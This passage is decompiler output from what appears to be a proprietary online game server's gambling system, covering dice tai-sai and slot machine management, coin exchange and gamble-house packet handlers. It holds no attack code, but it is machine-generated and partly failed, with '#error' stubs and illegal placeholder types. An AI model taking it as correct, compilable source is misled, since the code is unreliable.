v5; // ebx@6 void *v6; // ecx@10 int v7; // eax@10 CGambleObject *v8; // esi@13 v3 = this; if ( GambleType == 1 ) { v4 = this->gom_DiceTaisaiMaxCnt; } else { if ( GambleType == 2 ) v4 = this->gom_SlotMachine.MaxNumber; else v4 = 0; } v5 = 0; if ( v4 <= 0 ) return 0; while ( GambleType == 1 ) { if ( v3->gom_DiceTaisaiMaxCnt > (unsigned __int16)v5 ) { v6 = v3->gom_DiceTaisai; v7 = 1392 * (unsigned __int16)v5; goto LABEL_13; } LABEL_15: ++v5; if ( v5 >= v4 ) return 0; } if ( GambleType != 2 || v3->gom_SlotMachine.MaxNumber <= (unsigned __int16)v5 ) goto LABEL_15; v6 = v3->gom_SlotMachine.SlotMachine; v7 = 184 * (unsigned __int16)v5; LABEL_13: v8 = (CGambleObject *)((char *)v6 + v7); if ( !((char *)v6 + v7) || !CGambleObject::go_Find_Player(v8, nCharNo) ) goto LABEL_15; return v8; } //----- (005C6690) -------------------------------------------------------- void __thiscall CGambleObjectManager::gom_SetNeedRecalDiceRankInfo(CGambleObjectManager *this) { this->gom_NeedRecalDiceRankInfo = 1; } //----- (005C66A0) -------------------------------------------------------- #error "5C66A0: undefined or illegal type '#593' (funcsize=204)" //----- (005C6950) -------------------------------------------------------- CGambleObject *__thiscall CGambleObjectManager::gom_GetGambleObject(CGambleObjectManager *this, unsigned __int16 nNpcHandle) { CGambleObjectManager *v2; // ebx@1 CGambleObject **v3; // eax@1 signed int v4; // edi@2 signed int v5; // esi@4 ORErrorMessage *v6; // ecx@5 int v7; // eax@6 CGambleObject *result; // eax@9 v2 = this; v3 = this->gom_GambleObject._Myfirst; if ( v3 ) v4 = this->gom_GambleObject._Mylast - v3; else v4 = 0; v5 = 0; if ( v4 <= 0 ) { LABEL_9: result = 0; } else { while ( 1 ) { v6 = (ORErrorMessage *)v2->gom_GambleObject._Myfirst[v5]; if ( v6 ) { v7 = (int)LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber(v6); if ( v7 ) { if ( AxialListNearGateFind::alngf_Gethandle(v7) == nNpcHandle ) break; } } ++v5; if ( v5 >= v4 ) goto LABEL_9; } result = v2->gom_GambleObject._Myfirst[v5]; } return result; } //----- (005C69C0) -------------------------------------------------------- #593 *__thiscall CGambleObjectManager::gom_FindPlayerObject(CGambleObjectManager *this, unsigned int nCharNo) { CGambleObjectManager *v2; // ebx@1 CGambleObject **v3; // eax@1 signed int v4; // edi@2 signed int v5; // esi@4 CGambleObject *v6; // ecx@5 #593 *result; // eax@6 v2 = this; v3 = this->gom_GambleObject._Myfirst; if ( v3 ) v4 = this->gom_GambleObject._Mylast - v3; else v4 = 0; v5 = 0; if ( v4 <= 0 ) { LABEL_8: result = 0; } else { while ( 1 ) { v6 = v2->gom_GambleObject._Myfirst[v5]; if ( v6 ) { result = CGambleObject::go_Find_Player(v6, nCharNo); if ( result ) break; } ++v5; if ( v5 >= v4 ) goto LABEL_8; } } return result; } //----- (005C6A10) -------------------------------------------------------- void __thiscall CGambleObjectManager::gom_Routine(CGambleObjectManager *this) { CGambleObjectManager *v1; // ebx@1 CGambleObject **v2; // eax@1 signed int v3; // edi@2 signed int i; // esi@4 CGambleObject *v5; // ecx@5 v1 = this; v2 = this->gom_GambleObject._Myfirst; if ( v2 ) v3 = this->gom_GambleObject._Mylast - v2; else v3 = 0; for ( i = 0; i < v3; ++i ) { v5 = v1->gom_GambleObject._Myfirst[i]; if ( v5 ) ((void (*)(void))v5->vfptr->go_Routine)(); } } //----- (005C6A50) -------------------------------------------------------- void __thiscall CGambleObjectManager::_CGambleObjectManager(CGambleObjectManager *this) { CGambleObjectManager *v1; // esi@1 void *v2; // eax@1 void *v3; // eax@3 void *v4; // edi@4 void *v5; // eax@5 void *v6; // edi@6 v1 = this; v2 = this->gom_GambleObject._Myfirst; if ( v2 ) operator delete(v2); v3 = v1->gom_DiceTaisai; v1->gom_GambleObject._Myfirst = 0; v1->gom_GambleObject._Mylast = 0; v1->gom_GambleObject._Myend = 0; if ( v3 ) { v4 = (char *)v3 - 4; _eh_vector_destructor_iterator_( v3, 0x570u, *((_DWORD *)v3 - 1), (void (__thiscall *)(void *))CGambleDiceTaiSaiObject::_CGambleDiceTaiSaiObject); operator delete__(v4); } v5 = v1->gom_SlotMachine.SlotMachine; if ( v5 ) { v6 = (char *)v5 - 4; _eh_vector_destructor_iterator_( v5, 0xB8u, *((_DWORD *)v5 - 1), (void (__thiscall *)(void *))SlotMachine::SlotMachineCluster::_SlotMachineCluster); operator delete__(v6); } _eh_vector_destructor_iterator_( v1->gom_DiceRankInfo, 0x14u, 20, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); if ( v1->gom_GambleObject._Myfirst ) operator delete(v1->gom_GambleObject._Myfirst); v1->gom_GambleObject._Myfirst = 0; v1->gom_GambleObject._Mylast = 0; v1->gom_GambleObject._Myend = 0; } //----- (005C6B30) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (005C6BA0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, CGambleObject *const *_Val) { std::vector > *v4; // esi@1 CGambleObject **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #593 **v16; // eax@25 CGambleObject **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #593 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (CGambleObject *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#593 **)(v20 - v23); v4->_Mylast = (CGambleObject **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#593 ***)&v21, v25, (#593 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#593 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (CGambleObject **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#593 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (CGambleObject **)((char *)_Newvec + _Counta); v4->_Mylast = (CGambleObject **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (CGambleObject **)_Newvec; } } } //----- (005C6D80) -------------------------------------------------------- void __thiscall CGambleObjectManager::CGambleObjectManager(CGambleObjectManager *this) { CGambleObjectManager *v1; // esi@1 v1 = this; this->gom_GambleObject._Myfirst = 0; this->gom_GambleObject._Mylast = 0; this->gom_GambleObject._Myend = 0; _eh_vector_constructor_iterator_( this->gom_DiceRankInfo, 0x14u, 20, (void (__thiscall *)(void *))PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); if ( v1->gom_GambleObject._Myfirst ) operator delete(v1->gom_GambleObject._Myfirst); v1->gom_GambleObject._Myfirst = 0; v1->gom_GambleObject._Mylast = 0; v1->gom_GambleObject._Myend = 0; v1->gom_DiceTaisaiMaxCnt = 0; v1->gom_DiceTaisai = 0; v1->gom_SlotMachine.MaxNumber = 0; v1->gom_SlotMachine.SlotMachine = 0; } //----- (005C6E10) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, CGambleObject *const *_Val) { CGambleObject **v2; // esi@1 signed int v3; // edx@2 CGambleObject **v4; // eax@6 v2 = this->_Myfirst; if ( v2 ) v3 = this->_Mylast - v2; else v3 = 0; if ( v2 && v3 < this->_Myend - v2 ) { v4 = this->_Mylast; *v4 = *_Val; this->_Mylast = v4 + 1; } else { std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, 1u, _Val); } } //----- (005C6E60) -------------------------------------------------------- char __thiscall CGambleObjectManager::gom_Init(CGambleObjectManager *this) { CGambleObjectManager *v1; // ebp@1 ShineObjectEachList *v2; // eax@1 ShineObjectEachList *v3; // ebx@1 unsigned __int16 v5; // di@3 unsigned __int16 v6; // si@4 ListStruct *v7; // ecx@5 int v8; // eax@5 bool v9; // cf@5 int v10; // eax@6 int v11; // ecx@7 unsigned __int16 v12; // ax@9 MobDataBox::MobDataBoxIndex *v13; // eax@9 MobInfo *v14; // eax@10 int v15; // eax@11 int v16; // eax@13 int v17; // eax@14 int v18; // esi@16 unsigned int v19; // ST10_4@16 void *v20; // eax@16 int v21; // edi@17 int v22; // eax@17 int v23; // esi@19 unsigned int v24; // ST10_4@19 void *v25; // eax@19 int v26; // edi@20 int v27; // eax@20 void *v28; // ebx@22 unsigned __int16 v29; // di@22 unsigned __int16 v30; // si@23 int v31; // ecx@24 int v32; // eax@24 unsigned __int16 v33; // dx@24 int v34; // eax@25 int v35; // ecx@26 unsigned __int16 v36; // ax@28 MobDataBox::MobDataBoxIndex *v37; // eax@28 MobInfo *v38; // eax@29 int v39; // eax@30 void *v40; // esi@33 int v41; // eax@36 #593 *v42; // eax@40 char bList; // [sp+Bh] [bp-29h]@40 void *nSlotMachineCnt; // [sp+Ch] [bp-28h]@1 int nDiceTaisaiCnt; // [sp+10h] [bp-24h]@16 void *GBObj; // [sp+14h] [bp-20h]@1 void *v47; // [sp+18h] [bp-1Ch]@19 ListTraveler lt_NPCObject; // [sp+1Ch] [bp-18h]@24 int v49; // [sp+30h] [bp-4h]@16 v1 = this; nSlotMachineCnt = 0; v2 = ShineObjectManager::som_Getlist(&shineobjmanager, 4u); v3 = v2; GBObj = v2; if ( !v2 ) return 0; v5 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v6 = v3->baseclass_0.l_MaxSize; if ( v5 >= v6 ) break; v7 = v3->baseclass_0.l_Array; v8 = v5; v9 = v5 < v6; v5 = v7[v5].ls_Next; if ( v9 && (v10 = (int)&v7[v8], *(_BYTE *)(v10 + 8)) ) v11 = *(_DWORD *)v10; else v11 = 0; v12 = (*(int (**)(void))(*(_DWORD *)v11 + 1792))(); v13 = MobDataBox::operator__(&mobdatabox, v12); if ( v13 ) { v14 = v13->data; if ( v14 ) { v15 = v14->Type - 29; if ( v15 ) { if ( v15 == 2 ) { v16 = (int)((char *)nSlotMachineCnt + 1); ++v1->gom_SlotMachine.MaxNumber; nSlotMachineCnt = (void *)v16; } } else { v17 = (int)((char *)nSlotMachineCnt + 1); ++v1->gom_DiceTaisaiMaxCnt; nSlotMachineCnt = (void *)v17; } } } } if ( nSlotMachineCnt ) { v18 = v1->gom_DiceTaisaiMaxCnt; v19 = 1392 * v1->gom_DiceTaisaiMaxCnt + 4; nDiceTaisaiCnt = 0; v20 = operator new__(v19); nSlotMachineCnt = v20; v49 = 0; if ( v20 ) { v21 = (int)((char *)v20 + 4); *(_DWORD *)v20 = v18; _eh_vector_constructor_iterator_( (char *)v20 + 4, 0x570u, v18, (void (__thiscall *)(void *))CGambleDiceTaiSaiObject::CGambleDiceTaiSaiObject, (void (__thiscall *)(void *))CGambleDiceTaiSaiObject::_CGambleDiceTaiSaiObject); v22 = v21; } else { v22 = 0; } v23 = v1->gom_SlotMachine.MaxNumber; v24 = 184 * v1->gom_SlotMachine.MaxNumber + 4; v1->gom_DiceTaisai = (CGambleDiceTaiSaiObject *)v22; nSlotMachineCnt = 0; v25 = operator new__(v24); v47 = v25; v49 = 1; if ( v25 ) { v26 = (int)((char *)v25 + 4); *(_DWORD *)v25 = v23; _eh_vector_constructor_iterator_( (char *)v25 + 4, 0xB8u, v23, (void (__thiscall *)(void *))SlotMachine::SlotMachineCluster::SlotMachineCluster, (void (__thiscall *)(void *))SlotMachine::SlotMachineCluster::_SlotMachineCluster); v27 = v26; } else { v27 = 0; } v1->gom_SlotMachine.SlotMachine = (SlotMachine::SlotMachineCluster *)v27; v49 = -1; v28 = GBObj; v29 = *(_WORD *)(*((_DWORD *)GBObj + 2) + 12 * *((_WORD *)GBObj + 7) + 4); while ( 1 ) { while ( 1 ) { v30 = *((_WORD *)v28 + 2); if ( v29 >= v30 ) return 1; v31 = *((_DWORD *)v28 + 2); v32 = v29; v33 = v29; v9 = v29 < v30; v29 = *(_WORD *)(v31 + 12 * v29 + 4); lt_NPCObject.lt_CurrElement = v33; lt_NPCObject.lt_NextElement = v29; if ( v9 && (v34 = v31 + 12 * v32, *(_BYTE *)(v34 + 8)) ) v35 = *(_DWORD *)v34; else v35 = 0; v36 = (*(int (**)(void))(*(_DWORD *)v35 + 1792))(); v37 = MobDataBox::operator__(&mobdatabox, v36); if ( v37 ) { v38 = v37->data; if ( v38 ) break; } } v39 = v38->Type - 29; if ( !v39 ) break; if ( v39 == 2 ) { if ( v1->gom_SlotMachine.MaxNumber > (unsigned __int16)nSlotMachineCnt ) { v40 = &v1->gom_SlotMachine.SlotMachine[(unsigned __int16)nSlotMachineCnt]; nSlotMachineCnt = (char *)nSlotMachineCnt + 1; } else { v40 = 0; nSlotMachineCnt = (char *)nSlotMachineCnt + 1; } LABEL_39: GBObj = v40; if ( v40 ) { v42 = List::l_GetInArray( (List *)v28, lt_NPCObject.lt_CurrElement, &bList); if ( !v42 ) return 1; if ( !(unsigned __int8)(*(int (__thiscall **)(void *, #593 *))(*(_DWORD *)v40 + 8))(v40, v42) ) return 0; std::vector>::push_back( &v1->gom_GambleObject, (CGambleObject *const *)&GBObj); } } } if ( v1->gom_DiceTaisaiMaxCnt > (unsigned __int16)nDiceTaisaiCnt ) v41 = (int)&v1->gom_DiceTaisai[(unsigned __int16)nDiceTaisaiCnt]; else v41 = 0; v40 = (void *)v41; ++nDiceTaisaiCnt; goto LABEL_39; } return 1; } //----- (005C7140) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_Gamble_IsGambleHouse(int this) { int v1; // eax@1 bool result; // al@2 int v3; // eax@3 v1 = *(_DWORD *)(this + 98); if ( v1 && (v3 = *(_DWORD *)(v1 + 16)) != 0 ) result = *(_BYTE *)(v3 + 54) == 7; else result = 0; return result; } //----- (005C7160) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Gamble_CharCoinData(void *this, int pCoinData) { int v2; // esi@1 void *v3; // edi@1 char *v4; // ebx@2 unsigned int v5; // ecx@2 unsigned int v6; // eax@2 void *v7; // ebp@6 unsigned int v8; // edx@12 unsigned int v9; // ebp@12 int v10; // edx@16 int v11; // eax@18 unsigned int GambleExchangeMaxCoinCnt; // [sp+10h] [bp-14h]@3 unsigned int ExchangeMaxCoin; // [sp+14h] [bp-10h]@2 unsigned int v14; // [sp+18h] [bp-Ch]@2 unsigned __int64 ExchangeCoin; // [sp+1Ch] [bp-8h]@2 unsigned int pCoinDataa; // [sp+28h] [bp+4h]@5 v2 = pCoinData; v3 = this; if ( pCoinData ) { (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)this + 2912))( this, *(_DWORD *)pCoinData, *(_DWORD *)(pCoinData + 4)); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v3 + 2924))( v3, *(_DWORD *)(pCoinData + 8), *(_DWORD *)(pCoinData + 12)); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4318; v5 = 0; v6 = 0; ExchangeCoin = 0i64; ExchangeMaxCoin = 0; v14 = 0; if ( gGambleExchangeMaxCoin.m_pHead ) GambleExchangeMaxCoinCnt = gGambleExchangeMaxCoin.m_pHead->nNumOfRecord; else GambleExchangeMaxCoinCnt = 0; pCoinDataa = 0; if ( (signed int)GambleExchangeMaxCoinCnt <= 0 ) { LABEL_12: v8 = *(_DWORD *)(v2 + 12); v9 = *(_DWORD *)(v2 + 8); if ( v6 >= v8 && (v6 > v8 || v5 > v9) ) ExchangeCoin = __PAIR__(v6, v5) - __PAIR__(v8, v9); *(_DWORD *)(v4 + 2) = *(_DWORD *)v2; v10 = *(_DWORD *)(v2 + 4); *(_DWORD *)(v4 + 14) = HIDWORD(ExchangeCoin); *(_DWORD *)(v4 + 6) = v10; *(_DWORD *)(v4 + 10) = ExchangeCoin; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 18) ) { v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_Gamble_CharCoinData : Packet Too Long", 18); } } else { while ( 1 ) { v7 = CDataReader::GetRecord(&gGambleExchangeMaxCoin, pCoinDataa); if ( !v7 ) break; if ( *(_BYTE *)v7 == (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1236))(v3) ) { ExchangeMaxCoin = *(_DWORD *)((char *)v7 + 1); v14 = 0; LABEL_11: v5 = ExchangeMaxCoin; v6 = v14; goto LABEL_12; } ++pCoinDataa; if ( (signed int)pCoinDataa >= (signed int)GambleExchangeMaxCoinCnt ) goto LABEL_11; } } } } //----- (005C72C0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_Gamble_CanJoinGamble(int this, int nGambleType) { return *(_DWORD *)(this + 143864) == 0; } //----- (005C72D0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_Gamble_IsJoinThisGamble(int this, int nGambleType) { return *(_DWORD *)(this + 143864) == nGambleType; } //----- (005C72E0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_Gamble_IsJoinAnyGamble(int this, int gt) { if ( gt ) *(_DWORD *)gt = *(_DWORD *)(this + 143864); return *(_DWORD *)(this + 143864) != 0; } //----- (005C7300) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_Gamble_SetGambleType(int this, int nGambleType) { *(_DWORD *)(this + 143864) = nGambleType; return 1; } //----- (005C7310) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_Gamble_IsCanSessionCloseing(void *this) { void *v1; // esi@1 int v2; // eax@1 unsigned int v3; // eax@3 CGambleObject *v4; // eax@3 unsigned int v5; // eax@5 v1 = this; v2 = *((_DWORD *)this + 35966); if ( v2 ) { if ( v2 == 1 ) { v3 = (*(int (**)(void))(*(_DWORD *)this + 836))(); v4 = CGambleObjectManager::gom_FindGambleObject(&gGambleObjectManager, v3, GBT_DICETAISAI); if ( v4 ) { if ( v4->vfptr->GDTSO_GetGameStatus(v4) == 2 ) { v5 = *((_DWORD *)v1 + 35967); if ( !v5 ) { *((_DWORD *)v1 + 35967) = clockwatch.cw_CurrTick + 50; return 0; } if ( v5 > clockwatch.cw_CurrTick ) return 0; } } } } return 1; } //----- (005C7370) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Gamble_DirectInfoBroadcastSet(int this, char nDirect) { int v2; // esi@1 char *v3; // eax@1 __int16 v4; // dx@1 int v5; // ST04_4@1 int v6; // eax@1 AxialListPacketBroadcast alchat; // [sp+4h] [bp-18h]@1 int v8; // [sp+18h] [bp-4h]@1 v2 = this; **(_BYTE **)(this + 82) = nDirect; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17380; v4 = *(_WORD *)(this + 4); v3[4] = nDirect; *((_WORD *)v3 + 1) = v4; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v5 = *(_DWORD *)(v2 + 78); v8 = 0; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v2, v6, v5, 0, 0, (int)&alchat, 0, 65535); v8 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (005C7410) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_GAMBLEHOUSE_EXIT_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // esi@1 signed int v6; // ebp@1 int v7; // ecx@3 char v8; // al@4 GAMBLE_TYPE v9; // ST10_4@7 unsigned int v10; // eax@7 CGambleObject *v11; // edi@7 unsigned int v12; // eax@11 char *v13; // eax@11 unsigned int v14; // eax@11 int v15; // ebx@13 MapInfo *v16; // ebp@14 int v17; // eax@16 char *v18; // eax@17 char *v19; // eax@17 int v20; // edx@17 int v21; // eax@18 char *v22; // [sp-8h] [bp-90h]@10 FunctionEntarance _; // [sp+Ch] [bp-7Ch]@1 NPCManager::LinkInformTemplete lnkinf; // [sp+10h] [bp-78h]@17 unsigned int v25; // [sp+78h] [bp-10h]@1 int v26; // [sp+84h] [bp-4h]@1 v5 = a1; v25 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_GAMBLEHOUSE_EXIT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_GAMBLEHOUSE_EXIT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_GAMBLEHOUSE_EXIT_REQ"; v6 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v26 = 0; if ( !(_S5_69 & 1) ) { _S5_69 |= 1u; stru_14BC4F2C.cmc_AllowMode = 70; atexit(_E6_88); } v7 = v5; if ( (1 << **(_BYTE **)(v5 + 3568)) & stru_14BC4F2C.cmc_AllowMode ) { v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2896))(v5); v7 = v5; if ( v8 ) { (*(void (__thiscall **)(int, int))(*(_DWORD *)v5 + 2256))(v5, a2); (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 2644))(v5); if ( (unsigned __int8)(*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v5 + 2940))(v5, 0) ) { v9 = *(_DWORD *)(v5 + 143864); v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); v11 = CGambleObjectManager::gom_FindGambleObject(&gGambleObjectManager, v10, v9); if ( v11 ) { if ( v11->vfptr->GDTSO_GetGameStatus(v11) == 2 || v11->vfptr->GDTSO_GetGameStatus(v11) == 3 ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 47, 3); v26 = -1; v22 = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_GAMBLEHOUSE_EXIT_REQ"; LABEL_21: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v22); goto LABEL_22; } } } v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)(v5 + 143833); *((_DWORD *)v13 + 1) = *(_DWORD *)(v5 + 143837); *((_DWORD *)v13 + 2) = *(_DWORD *)(v5 + 143841); v13[12] = 0; v14 = BTree::operator__(&mapdatabox.mdb_btree, v13); if ( v14 == -1 ) LOWORD(v14) = -1; v15 = (unsigned __int16)v14; if ( (unsigned __int16)v14 < mapdatabox.mdb_maxmapid ) { v16 = mapdatabox.mdb_index[(unsigned __int16)v14]; if ( v16 ) { v18 = NameString::operator__(&namestring, (Name3 *)(v5 + 143833)); strncpy(&lnkinf.linktoserver[4], v18, 0xCu); v19 = NameString::operator__(&namestring, (Name3 *)(v5 + 143833)); strncpy(&lnkinf.linktoclient[4], v19, 0xCu); lnkinf.coordy = v16->RegenX; v20 = *(_DWORD *)v5; *(_DWORD *)&lnkinf.direct = v16->RegenY; (*(void (__thiscall **)(int, signed int, signed int))(v20 + 776))(v5, 47, 3); if ( !(unsigned __int8)(*(int (__thiscall **)(int, NPCManager::LinkInformTemplete *, signed int, signed int, signed int))(*(_DWORD *)v5 + 1528))( v5, &lnkinf, 6, 9, 10) ) { v21 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_NC_GAMBLE_GAMBLEHOUSE_EXIT_REQ - Linkto Fail", v21); } v26 = -1; goto LABEL_20; } v6 = -1; } (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 47, 2); v17 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 836))(v5); AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_NC_GAMBLE_GAMBLEHOUSE_EXIT_REQ - Linkto Fail", v17, v15); ShineObjectClass::ShinePlayer::sp_2Roumen((void *)v5); v26 = v6; LABEL_20: v22 = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_GAMBLEHOUSE_EXIT_REQ"; goto LABEL_21; } } (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v7, 47, 3, 10241); --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_GAMBLEHOUSE_EXIT_REQ"); LABEL_22: __security_check_cookie((unsigned int)&_ ^ v25); } //----- (005C76F0) -------------------------------------------------------- #error "5C76F0: undefined or illegal type '#734' (funcsize=343)" //----- (005C7B60) -------------------------------------------------------- #error "5C7B60: undefined or illegal type '#734' (funcsize=268)" //----- (005C7EE0) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_COIN_VIPCARD_UI_OPEN_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // esi@1 int v6; // eax@5 int v7; // ebx@12 int v8; // ecx@14 int v9; // eax@18 int v10; // ebx@18 int v11; // ebp@18 ItemDataBox::ItemDataBoxIndex *v12; // eax@18 ItemDataBox::ItemDataBoxIndex *v13; // edi@18 ItemInfo *v14; // eax@19 signed int v15; // [sp-8h] [bp-28h]@14 signed int v16; // [sp-4h] [bp-24h]@14 const char *v17; // [sp-4h] [bp-24h]@25 int v18; // [sp+0h] [bp-20h]@25 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v20; // [sp+1Ch] [bp-4h]@1 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_COIN_USE_VIPCARD_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_COIN_USE_VIPCARD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_COIN_USE_VIPCARD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; if ( !(_S11_24 & 1) ) { _S11_24 |= 1u; stru_14BC4F44.cmc_AllowMode = 70; atexit(_E12_40); } if ( (1 << **(_BYTE **)(v5 + 3568)) & stru_14BC4F44.cmc_AllowMode ) { v6 = *(_DWORD *)(v5 + 98); if ( !v6 || !*(_BYTE *)(*(_DWORD *)(v6 + 12) + 151) 